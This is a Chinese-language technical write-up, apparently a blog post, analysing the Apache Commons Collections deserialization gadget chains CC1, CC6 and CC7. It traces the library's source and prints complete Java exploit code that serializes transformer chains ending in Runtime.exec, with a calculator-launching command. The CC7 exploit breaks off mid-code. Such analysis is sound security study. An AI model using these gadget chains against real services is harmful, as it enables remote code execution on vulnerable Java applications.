Commons Collections 反序列化分析(1-7)

分析顺序并不是按照从1-7,而是一种循序渐进的顺序

:P

CommonsCollections 1

先决条件

配置jdk8u65、CommonsCollections3.2.1、下载jdk1.8源码用于分析

CC1存在两条利用,分歧点在使用TransformedMap还是LazyMap上,具体利用链如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
TransformedMap:
readObject() ->
	AnnotationInvocationHandler.readObject() ->
		AbstractinputCheckedMapDecorator.setValue() ->
			TransformedMap.checkSetValue() ->
				ChainedTransformer.transform() ->
					constantsTransformer.transform() ->
					invokerTransformer.transform()
					
LazyMap:
readObject() ->
	AnnotationInvocationHandler.readObject() ->
		AnnotationInvocationHandler.invoke() ->
			LazyMap.get() ->
				ChainedTransformer.transform() ->
					constantsTransformer.transform() ->
					invokerTransformer.transform()

分析:

Transformer

Transformer接口,提供一个transform方法用于进行对象的转换

image-20231222170251089

查看实现这个接口的方法

image-20231222171134759

看几个调用链用到的类的功能

ConstantsTransformer

实现Transformer、Serializable接口,重构的transform方法无论input传入什么对象,都会返回构造时传入的constantToReturn对象

1
2
3
4
5
6
7
8
public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

public Object transform(Object input) {
    return iConstant;
}

ChainedTransformer

实现了Transformer、Serializable接口,根据传入的Transformer对象,生成一个Transformer数组,

1
public class ChainedTransformer implements Transformer, Serializable {

实现transform方法,将iTransformer中的Transformer进行Transform操作,将传入的参数传入第一个Transformer的transform方法,后续的Transformer使用前面转换过的object作为参数

1
2
3
4
5
6
7
public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

构造方法将传入的Tranformer数组报存在私有变量iTransformer中,

1
2
3
public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

InvokeTransformer

同样实现了Transformer、Serialization接口

构造方法,重构了两种,传入方法名(、参数类型的数组、参数数组),并赋给私有变量

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
private InvokerTransformer(String methodName) {
    this.iMethodName = methodName;
    this.iParamTypes = null;
    this.iArgs = null;
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

在看实现的transform方法,利用反射获取传入对象的对应方法并invoke执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var4) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
        }
    }
}

可利用执行Runtime.getRuntime().exec()执行系统命令,也就是最终执行命令的位置,所以现在链最底端执行命令的位置找到了,现在要往上找,找实现这个方法的类

看一下,两个可使用的TransformedMap、LazyMap,先说TransformedMap

image-20231225152042528

TransformedMap

进入TransformedMap类,注意这个checkSetValue方法,只要可以令valueTransformer为InvokerTransformer,那么就可以利用

image-20231225151631878

看一下valueTransformer,通过构造方法对其进行赋值,往上找调用TransformedMap这个构造方法的位置

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

因为是protected,所以看一下类中调用,有两个位置,decorate方法直接返回一个TransformedMap实例,并且将传入的keyTransformer, valueTransformer直接传入,因此只要控制传入的valueTransformer为InvokeTransformer即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
    if (map.size() > 0) {
        Map transformed = decorated.transformMap(map);
        decorated.clear();
        decorated.getMap().putAll(transformed);  // avoids double transformation
    }
    return decorated;
}

找一下哪里调用checkSetValue,定位到这里AbstractinputCheckedMapDecorator的setValue方法

image-20231225154349581

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

这里需要控制parent为TransformedMap类,看一下这个类对于parent的实现,这是个AbstractInputCheckedMapDecorator的内部类,依靠构造方法赋值parent,并且继承自AbstractMapEntryDecorator

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

protected方法,所以看一下类中哪里实现了MapEntry,定位到内部类EntrySetIterator,相同的方式传入parent

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
static class EntrySetIterator extends AbstractIteratorDecorator {
    
    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;
    
    protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
        super(iterator);
        this.parent = parent;
    }
    
    public Object next() {
        Map.Entry entry = (Map.Entry) iterator.next();
        return new MapEntry(entry, parent);
    }
}

同样看一下类中EntrySetIterator,定位到内部类EntrySet中方法iterator,传入parent

1
2
3
public Iterator iterator() {
    return new EntrySetIterator(collection.iterator(), parent);
}

继续定位EntrySet,定位到类内方法entrySet,这里的this就是类AbstractInputCheckedMapDecorator自身

1
2
3
4
5
6
7
public Set entrySet() {
    if (isSetValueChecking()) {
        return new EntrySet(map.entrySet(), this);
    } else {
        return map.entrySet();
    }
}

所以setValue中的parent.checkSetValue就是AbstractInputCheckedMapDecorator.checkSetValue(不用追溯也知道就是这个 <3

由于这里的this指代实例化的对象,也就是TransformedMap,利用调用链transformedMap.entrySet().iterator().next().setValue();就会触发MapEntry.setValue()

PS: 这里还有一种就是利用for循环遍历直接可以调用setValue方法

1
2
3
for (Map.Entry entry : transformedMap.entrySet()) {
		entry.setValue();
}

原理:entrySet()返回一个包含映射中所有键值对的Set,iterator()方法返回Set的迭代器,通过next()方法获取迭代器下一个元素,这就相当于进行了一次迭代,所以这边用for循环也达到了同样的效果,即entry等价于transformedMap.entrySet().iterator().next()

转回去看一下MayEntry的父类AbstractMapEntryDecorator,这个类继承自Map.Entry,因此setValue其实是重写Map.Entry的setValue方法,因此整个其实就是一个重写Map中的一些方法,使用是一样的,可以理解为对象为Transformer的Map

1
2
3
4
5
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {

public Object setValue(Object object) {
    return entry.setValue(object);
}

继续向上找,需要找到在readObject方法里遍历时调用setValue的类,并且可以控制被便利的是Transformer——sun.reflect.annotation.AnnotationInvocationHandler

image-20231226165337706

如果要利用,那么首先memberValue我们需要可控,这个memberValues来自于这个类的私有变量,并且在创建这个类的时候我们可以对他进行赋值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

利用链封装

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Transformer trans = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
HashMap<Object, Object> map = new HashMap<>();
map.put("1", "2");
Map<Object, Object> transM = TransformedMap.decorate(map, null, trans);

Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cC = a.getDeclaredConstructor(Class.class, Map.class);
cC.setAccessible(true);
Object cCO = cC.newInstance(Override.class, transM);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(cCO);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();

找到整条利用链并串起来了,但执行起来无法利用,还有几个问题:

  1. 触发memberValue.setValue,也就是需要满足两个if
  2. 控制setValue中的值为我们想要传入的Runtime.getRuntime()
  3. Runtime无法序列化,需要借助反射来进行实现

第一个问题,第一个if需要我们传入AnnotationInvocationHandler的第一个参数,一个Class类的类,也就是一个注解类中存在函数名为传入TransformedMap的map中的key,第二个if,必须map中的value不能强制转换成传入的class,同时value也不是ExceptionProxy类型,二者同时满足才能进入,因为我们传的是字符串,所以找一个字符串不能强制转换并且包含方法的注解类,这边找的是Action.fault

image-20231226205651465

第二个和第三个问题,使用ConstantsTransformer和ChainedTransformer以及反射来解决,由于ChainedTransformer的transform方法会传递性的进行转换,所以将ChainedTransformer数组的第一个为ConstantsTransformer,这样就会控制后续命令直接进入,并通过反射的方式链状执行Runtime.getRuntime().exec("cmd")

反射Runtime.getRuntime().exec(),将这个过程套入ChainedTransformer

1
2
3
4
5
Class r = Runtime.class;
Method g = r.getMethod("getRuntime", null);
Runtime rr = (Runtime) g.invoke(null, null);
Method e = rr.getClass().getMethod("exec", String.class);
e.invoke(rr, "open -a Calculator");

Exp(TransformedMap)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.TransformedMap;

import javax.swing.*;
import javax.xml.ws.Action;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;

public class CcTest {
    public static void ccTest() throws Exception {

        // test 1
//        Transformer trans = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
//        trans.transform(Runtime.getRuntime());

        // test 2
//        Transformer trans = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
//        HashMap<Object, Object> map = new HashMap<>();
//        map.put("fault", "2");
//        Map<Object, Object> transM = TransformedMap.decorate(map, null, new ChainedTransformer(trans));
//        transM.entrySet().iterator().next().setValue(Runtime.getRuntime());

        // test 3
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        HashMap<Object, Object> map = new HashMap<>();
        map.put("fault", "2");
        Map<Object, Object> transM = TransformedMap.decorate(map, null, new ChainedTransformer(trans));
        
        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cC = a.getDeclaredConstructor(Class.class, Map.class);
        cC.setAccessible(true);
        Object cCO = cC.newInstance(Action.class, transM);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
        oos.writeObject(cCO);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
        ois.readObject();
    }
}

LazyMap

除了使用TransformedMap,LazyMap的get方法也会调用transform方法,向上分析一下这条链

image-20231227105519365

继续看AnnotationInvocationHandler.readObject(),其中的get触发点仍然吻合,现在要控制memberTypes为LazyMap,之前分析时提到过memberTypes为我们传入的注解类中的函数的HashMap,这边没有更改思路image-20231227145456720

利用链是使用动态代理的方式,因为AnnotationInvocationHandler这个类同样实现了InvocationHandler接口,在重写的invoke方法中,存在get方法的调用,并且其中的memberValues是我们可控的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");

    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

因为触发点为readObject,所以仍然借助AnnotationInvocationHandler.readObject中for循环时调用我们传入的代理对象的entrySet()方法,此时就会自动调用invoke方法从而执行get方法

Exp(LazyMap)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.swing.*;
import javax.xml.ws.Action;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;

public class CcTest {
    public static void ccTest() throws Exception {

        // test 1
//        Transformer trans = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
//        trans.transform(Runtime.getRuntime());

        // test 2
//        Transformer trans = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
//        HashMap<Object, Object> map = new HashMap<>();
//        map.put("fault", "2");
//        Map<Object, Object> transM = TransformedMap.decorate(map, null, new ChainedTransformer(trans));
//        transM.entrySet().iterator().next().setValue(Runtime.getRuntime());

        // test 3
//        Transformer[] trans = new Transformer[]{
//                new ConstantTransformer(Runtime.class),
//                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
//                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
//        };
//        HashMap<Object, Object> map = new HashMap<>();
//        map.put("fault", "2");
//        Map<Object, Object> transM = TransformedMap.decorate(map, null, new ChainedTransformer(trans));
//
//        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        Constructor cC = a.getDeclaredConstructor(Class.class, Map.class);
//        cC.setAccessible(true);
//        Object cCO = cC.newInstance(Action.class, transM);

//        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
//        oos.writeObject(cCO);
//        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
//        ois.readObject();

        // test 4
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyM = LazyMap.decorate(map, new ChainedTransformer(trans));

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor c = a.getDeclaredConstructor(Class.class, Map.class);
        c.setAccessible(true);
        InvocationHandler i = (InvocationHandler) c.newInstance(Override.class, lazyM);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, i);
        Object o = c.newInstance(Override.class, mapProxy);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
        oos.writeObject(o);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
        ois.readObject();
    }
}

CommonsCollections 6

CC6解决了CC1受jdk版本限制的问题,无论是TransformedMap链还是LazyMap链,都依赖于调用sun.reflect.annotation.AnnotationInvocationHandler#readObject

调用链

1
2
3
4
5
6
7
8
HashMap#readObject ->
	HashMap#hash ->
		TiedMapEntry#hashCode ->
			TiedMapEntry#getValue ->
				LazyMap.get() ->
					ChainedTransformer.transform() ->
						constantsTransformer.transform() ->
						invokerTransformer.transform()

使用HashMap来构造反序列化链,看一下HashMap#readObject,触发反序列化后,后面会将进行一个循环,此时调用到了HashMap#hash方法,方法会判断key是否为null,非空则会调用key.hashCode()方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

hashCode用于返回一个类的hash值,而利用链巧妙的找到了这个hashCode()的利用,与CommonsCollections LazyMap链联系起来

TiedMapEntry#hashCode, TiedMapEntry#getValue, TiedMapEntry()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

public Object getValue() {
    return map.get(key);
}

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

通过传入key为TieMapEntry的HashMap,在反序列化时会自动触发TiedMapEntry#hashCode方法,进而最终触发map.get(key),其中map为初始化构造方法时定义,这样就与LazyMap的get联系起来

按照这个思路将利用链串起来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
Transformer[] trans = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}),
        new ConstantTransformer(1)
};
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyM = LazyMap.decorate(map, new ChainedTransformer(trans));

TiedMapEntry tme = new TiedMapEntry(lazyM, "aaa");
HashMap<Object, Object> hm = new HashMap<>();
hm.put(tme, "bbb");

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(hm);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();

但这样写是有问题的,一在生成序列化字符串时,在hm.put()操作时执行了一遍攻击链,这样就会导致两个问题:首先是在自己主机上执行了一遍命令,这是没有必要的,其次因为key会通过map.put(key, value)放入给lazyM中,反序列化时由于已经存在了对应的key导致不会进入if

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value); //序列化时执行导致为lazyM添加("aaa", 1)
        return value;
    }
    return map.get(key);
}

但我自己下断点测试时发现没执行到put时,在this.map = map赋值时就已经触发了命令执行并且lazyM拥有了键值并且执行了攻击链

image-20240103174101775

这里分析了一下,也就是说对TiedMapEntry做了改变就会触发后续操作,也就是会自动调用LazyMap的get,但被idea跳过了,普通的赋值并不会触发get方法,直接的赋值也没有理由触发其他的方法进而触发get,研究了一下,跟idea的调试的底层原理有关(不往下细弄了

image-20240103201728524

说回上面的两个问题,解决的话很简单,首先将aaa从lazyM中remove出去,这样就解决了不进if,然后就是本机命令执行,先随便传一个Transformer进lazyM,put之后用反射再改成正常的就可以了

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.swing.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.TreeMap;

public class CcTest {
    public static void main(String[] args) throws Exception {
        // CC6
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}),
                new ConstantTransformer(1)
        };
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyM = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tme = new TiedMapEntry(lazyM, "aaa");
        HashMap<Object, Object> hm = new HashMap<>();
        hm.put(tme, "bbb");
        lazyM.remove("aaa");

        Class lazyMC = LazyMap.class;
        Field factoryF = lazyMC.getDeclaredField("factory");
        factoryF.setAccessible(true);
        factoryF.set(lazyM, new ChainedTransformer(trans));

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
        oos.writeObject(hm);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
        ois.readObject();

    }
}

CommonsCollections 7

调用链

1
2
3
4
5
6
7
8
HashTable#readObject ->
	HashTable#reconstitutionPut ->
		AbstractMapDecorator#equals ->
			AbstractMap#equals ->
				lazyMap#get ->
          ChainedTransformer.transform() ->
            constantsTransformer.transform() ->
            invokerTransformer.transform()

相对于6更换了入口点,使用HashTable,进去看一下

readObject中,最后在循环中执行了reconstitutionPut方法,进入对应方法,对e.key执行了equals方法,对应上调用链。

简单分析一下,readObject的循环中,将序列化的key和value取出来,传入reconstitutionPut方法,这个方法有一个需要注意的地方就是要满足e.hash == hash这个条件,其中hash为传入key的也就是LazyMap的hashCode方法返回值,而e.hash为Hashtable$Entry中的hash变量

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the length, threshold, and loadfactor
        s.defaultReadObject();

        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();

        // Compute new size with a bit of room 5% to grow but
        // no larger than the original size.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)(elements * loadFactor) + (elements / 20) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        if (origlength > 0 && length > origlength)
            length = origlength;
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
    Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

put两个值进Hashtable分析一下流程

1
2
3
Hashtable ht = new Hashtable();
ht.put(lazyM1, 1);
ht.put(lazyM2, 2);

readObject中的for (; elements > 0; elements--)首先会执行后put进的kv,然后进入reconstitutionPut函数,此时传入的table为空Entry数组,key,value对应传入,然后通过key.hashCode计算出hash,走到for(Entry<?,?> e = tab[index] ; e != null ; e = e.next)语句时,以为tab为空所以e为null此时不进入循环,往下走将tab[index]赋值为一个新的Entry对象,将计算出的hashCode传入赋值给hash,回到readObject中的for循环,将第一次put的值传入函数,此时table已经被插入了新的Entry对象,进入函数同样的for循环位置,由于table已经拥有了值并且e.hash就是上一步循环中计算的lazyM2.hashCode,与lazyM1.hashCode进行比较,相同则会向下运行,说白了就是put进Hashtable的两个key值的hashCode返回值相同,放到此处就是传入的两个LazyMap.hashCode相同

接下来就是分析一下LazyMap.hashCode究竟是怎么计算的

本机调用链没找到,这边参考其他人的文章

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public int hashCode() {
  int h = hash;
  if (h == 0 && value.length > 0) {
    cahr val[] = value;
    
    for (int i = 0; i < value.length; i++) {
      h = 31 * h + val[i];
    }
    hash = h;
  }
  return h;
}

当我们传入的两个值为两个字符时,这里的加密就转换成了31 * ASCII(s1[0]) + ASCII(s1[1])

因此payload这边选用yyzZ满足等式

因此Exp如下

Exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// CC7
Transformer[] trans = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer cT = new ChainedTransformer(new Transformer[0]);
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
Map<Object, Object> lazyM1 = LazyMap.decorate(map1, cT);
lazyM1.put("yy", 1);
